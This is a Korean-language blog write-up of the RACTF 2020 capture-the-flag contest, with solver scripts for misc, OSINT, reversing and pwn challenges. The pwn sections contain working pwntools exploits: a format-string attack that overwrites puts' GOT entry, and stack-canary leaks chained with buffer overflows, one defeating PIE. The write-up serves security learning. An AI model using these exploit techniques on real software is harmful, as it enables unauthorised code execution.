본문 바로가기
CTF

[CTF] RACTF 2020 Writeup

by snwo 2020. 6. 10.

 

잘 안보이시면 클릭해서보세요 !

4250 점중에  2500 점 획득해서 168등을 하게 되었습니다.

이번에도 팀원들이 잘해준것같습니다. 한 문제를 깨면, 다른 연관된 문제가 풀리는

퀘스트형식으로 되어있는점이 신기하고 재밌었어요.


  • misc

pearl pearl pearl

 

  • osint

RAirways

 

  • pwn

Not really AI

Finches in a Stack

Finches in a Pie

 

  • rev

Solved in a Flash

Snakes and Ladders

 

(crypto 는 각각 카이사르, 비즈네르 암호라 따로 다루지는 않겠습니다)

 



          MISC          


pearl pearl pearl

문제서버에 접속해 pwntools 로 값을 받아올때, log level 을 debug 로 설정하면,

이렇게 값이 옵니다. \r \n 두가지가 불규칙적으로 반복되는걸 봐서는, 

모스부호나 이진수로 예측해볼 수 있습니다.

 

flag 포맷이 ractf{ 이니, r 의 아스키코드 이진수를 구해보면

01110010 이고, \r\n\n\n\r\r\n\r 와 비교했을때

\r 을 0으로, \n 을 1 로 매칭이 되므로 치환해서 8바이트씩 문자화하면 flag 가 뜰것입니다.


from pwn import *
r=remote('95.216.233.106',33376)

context.log_level='debug'

a=r.recv(5000000000000000000000)
b=r.recv(500000)

c=a+b
bits=''
for i in range(len(c)):
    if c[i]=='\r':
        bits+='0'
    if c[i]=='\n':
        bits+='1'

flag=''
for i in range(0,len(bits),8):
    flag+=chr(int(bits[i:i+8],2))

print(flag)

(r.recv() 로 전부 받아지지 않아서 두번받아왔습니다)




         OSINT         


RAirways

사진을 하나 주고 flag 를 찾으라한다.

구글링해보니, 비행기티켓바코드에는 중요한 개인정보가 들어있다고한다.

핸드폰 바코드스캐너앱으로,

원본사진 다운받은 후 확대해서 스캔하면 flag 가 뜬다.


OSINT 라는 분야를 이번에 처음 봤는데,

정보찾는분야라고한다. 재밌는것같다.




       PWNABLE       


Not really AI

void response(void)

{
  char local_20c [516];
  
  puts("How are you finding RACTF?");
  fgets(local_20c,0x200,stdin);
  puts("I am glad you");
  printf(local_20c);
  puts("\nWe hope you keep going!");
  return;
}

 취약점이 발생하는 response 함수입니다.

fgets 로 0x200 만큼 입력을 받고, printf 로 서식문자없이 출력을해주므로

FSB 가 일어납니다.


RELRO 가 Partial 로 설정되어있으니, 

puts 함수 got 주소를 덮어쓸수있겠네요.


printf 함수를 호출하기직전 스택상황입니다.

esp+4 부터 4바이트씩 출력을 해주니, 4번째부터 버퍼값에 접근할수있겠네요.

 

flag 를 출력해주는 flaggy 함수가 주어지니, 

두 번에 나눠서, puts.got 에 flaggy 함수의 주소를 쓰면되겠습니다.


puts.got 주소는 0x804c018 이므로,

0x804c018 에 flaggy 함수 하위 2byte 인 0x9245 를 overwrite,

0x804c018 + 2 에 flaggy 함수 상위 2byte 인 0x804 overwrite 합시다.

 

payload 길이가 약 28 정도되는데, 4바이트씩 맞춰줘야 함수주소가 잘리지않기때문에

ljust 로 28을 공백으로 채워줍니다.

 

payload 가 28byte 이므로, 4 + 28/4 = 11 번째에 puts 함수주소를 쓰고,

12번째에 puts 함수주소+2 를 써서, got overwrite 하면 됩니다.


from pwn import *
r=remote("95.216.233.106",35403)
#r=process("./nra")
puts_got=0x804c018
flag=0x8049245

pay=''
pay+='%'+str(0x804)+'x'
pay+='%11$hn'
pay+='%'+str(0x9245-0x804)+'x'
pay+='%12$hn'
pay=pay.ljust(28,' ')
pay+=p32(0x804c01a)
pay+=p32(0x804c018)
print(pay)

r.sendline(pay)

r.interactive()


Finches in a Stack

 


void say_hi(void)

{
  char cVar1;
  uint uVar2;
  char *pcVar3;
  int in_GS_OFFSET;
  byte bVar4;
  char local_29 [4];
  undefined2 uStack37;
  undefined local_22 [18];
  int local_10;
  
  bVar4 = 0;
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  printf("Hi! What\'s your name? ");
  gets((char *)((int)&uStack37 + 1));
  printf("Nice to meet you, ");
  uVar2 = 0xffffffff;
  pcVar3 = (char *)((int)&uStack37 + 1);
  do {
    if (uVar2 == 0) break;
    uVar2 = uVar2 - 1;
    cVar1 = *pcVar3;
    pcVar3 = pcVar3 + (uint)bVar4 * -2 + 1;
  } while (cVar1 != '\0');
  *(undefined2 *)((int)&uStack37 + ~uVar2) = 0xa21;
  *(undefined *)((int)&uStack37 + ~uVar2 + 2) = 0;
  printf((char *)((int)&uStack37 + 1));
  puts("Do YOU want to pet my canary?");
  gets(local_29);
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

취약점이 발생하는 say_hi 함수입니다. name 을 gets 로 입력받아 BOF 가 발생하고,

마지막글자에 !\n 을 붙여줘서 서식문자없이 출력해줘서 FSB 도 발생합니다.

그리고 gets 로 local_29 에 입력을 받네요.


gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

 

FSB 로 esp+4 부터 쭉 출력할수있으니, CANARY 를 leak 할 수 있습니다.

그리고 주어진 원샷가젯 flag 함수로 리턴하면 flag 를  얻을수있겠네요.


canary 는 ebp-0xc 즉 , esp+4 부터 11번째에 위치하고있습니다.

그래서 %11$x 로 canary 를 leak 할 수 있습니다.


from pwn import *

r=remote("95.216.233.106",45107)
#r=process("./fias")
b=ELF("./fias")

pay1='%11$x'

context.log_level='debug'
r.sendafter("name? ",pay1+'\n')
r.recvuntil('you, ')

canary=int(r.recv(8).replace("!\n",''),16)
log.info(hex(canary))
pay2=""
pay2='x'*(0x25-0xc)
pay2+=p32(canary)
pay2+='x'*12
pay2+=p32(b.symbols['flag'])

r.sendline(pay2)

r.interactive()


Finches in a Pie

void say_hi(void)

{
  char cVar1;
  uint uVar2;
  char *pcVar3;
  int in_GS_OFFSET;
  byte bVar4;
  char local_29 [4];
  undefined2 uStack37;
  undefined local_22 [18];
  int local_10;
  
  bVar4 = 0;
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  puts("CATCH HIM!\n");
  puts("You got him! Thank you!");
  puts("What\'s your name?");
  gets((char *)((int)&uStack37 + 1));
  printf("Thank you, ");
  uVar2 = 0xffffffff;
  pcVar3 = (char *)((int)&uStack37 + 1);
  do {
    if (uVar2 == 0) break;
    uVar2 = uVar2 - 1;
    cVar1 = *pcVar3;
    pcVar3 = pcVar3 + (uint)bVar4 * -2 + 1;
  } while (cVar1 != '\0');
  *(undefined2 *)((int)&uStack37 + ~uVar2) = 0xa21;
  *(undefined *)((int)&uStack37 + ~uVar2 + 2) = 0;
  printf((char *)((int)&uStack37 + 1));
  puts("Would you like some cake?");
  gets(local_29);
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

finches in stack 과 아주 유사한 파일입니다.


gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

 

PIE 가 추가되었습니다. 아까와똑같이 canary를 leak 하고,

ret 주소를 leak 해서 base 주소를 알아내면 되겠습니다.

 

main+113 으로 리턴하니, leak 된 ret 주소에서 113+main offset 을 뺀뒤,

제공된 oneshot flag 함수 offset 에 더해준뒤, 그곳으로 리턴해주면 되겠습니다.


fsb 가 일어나는 printf 함수 호출직전 스택상황입니다!

esp+4 인 0xf7feae20 부터 출력을 해주니까, canary는 11번째에 있고,

ret 주소는 15번째에 있는게 보입니다.

 

%11$x,%15$x 이렇게 canary 와 ret 주소를 leak 해줍시다.


from pwn import *

r=remote("95.216.233.106",15021)
#r=process("./fiap")

b=ELF("./fiap")
context.log_level='debug'

flag=b.symbols['flag']
main=b.symbols['main']

pay1=""
pay1+='%11$x'+','+'%15$x'

r.sendafter("name?",pay1+'\n')
r.recvuntil("you, ")

canary=int(r.recv(8),16)
r.recv(1)
main113=int(r.recv(8),16)

base=main113-113-main
flag+=base

pay2=""
pay2+='x'*(0x25-0xc)
pay2+=p32(canary)
pay2+='x'*12
pay2+=p32(flag)

r.sendline(pay2)

r.interactive()



    REVERSING    


Solved in a Flash

avr 아키텍쳐로 된 파일인걸 알수있다.

간단히 string 명령어로 flag 를 획득할 수 있다.



Snakes and Ladders

def xor(s1,s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def encrypt(a):
    some_text = a[::2]

    randnum = 14
    text_length = len(some_text)
    endtext = ""
    for i in range(1, text_length + 1):
      weirdtext = some_text[i - 1]
      if weirdtext >= "a" and weirdtext <= "z":
          weirdtext = chr(ord(weirdtext) + randnum)
          if weirdtext > "z":
              weirdtext = chr(ord(weirdtext) - 26)
      endtext += weirdtext
    randtext = a[1::2]

    xored = xor("aaaaaaaaaaaaaaa", randtext)
    hex_xored = xored.encode("utf-8").hex()

    return endtext + hex_xored

def decrypt(msg):
    raise NotImplementedError

def main():
    opt = input("Would you like to [E]ncrypt or [D]ecrypt? ")
    if opt[:1].lower() == "e":
        msg = input("Enter message to encrypt: ")
        print(f"Encrypted message: {encrypt(msg)}")
    elif opt[:1].lower() == "d":
        msg = input("Enter message to decrypt: ")
        print(f"Decrypted message: {decrypt(msg)}")

if __name__ == "__main__":
    main()
The flag is
fqtbjfub4uj_0_d00151a52523e510f3e50521814141c
 The attached file may be useful.

flag 의 앞부분은 알파벳 + 특수문자로 이루어져있고,

뒷부분은 hex 문자열로 이루어진 걸 볼 수 있다.

 

0부터 짝수번째 인덱스에 있는 문자들은

 알파벳일때 카이사르 키 14 로 암호화되고,

아니면 그대로 저장된다.

 

1부터 홀수번째 인덱스에 있는 문자들은

각각 ord('a') 와 xor 연산되어 저장된다.

 

앞부분은 알파벳일때 카이사르 키 -14 로 다시 복호화하고,

뒷부분은 2글자씩 잘라서 ord('a') 와 XOR 해서 복호화한다.

 

이렇게 복호화된 두부분을, flag 문자열에 순서대로 각각 하나씩 가져와 추가한다.


flag='fqtbjfub4uj_0_d00151a52523e510f3e50521814141c'
dec=''
num2=[]
num=[]
alphabet='abcdefghijklmnopqrstuvwxyz'

for i in range(15,len(flag),2):
    num.append(int(flag[i:i+2],16))

for i in range(len(num)):
    num[i]=chr(num[i]^ord('a'))

for i in range(0,15):
    if flag[i] in alphabet:
        num2.append(alphabet[ord(flag[i])-14-97])
    else:
        num2.append(chr(ord(flag[i])))
c1=0
c2=0

for i in range(30):
    if i%2==0:
        dec+=num2[c1]
        c1+=1
    else:
        dec+=num[c2]
        c2+=1
print(dec)

부족하지만 읽어주셔서 감사합니다.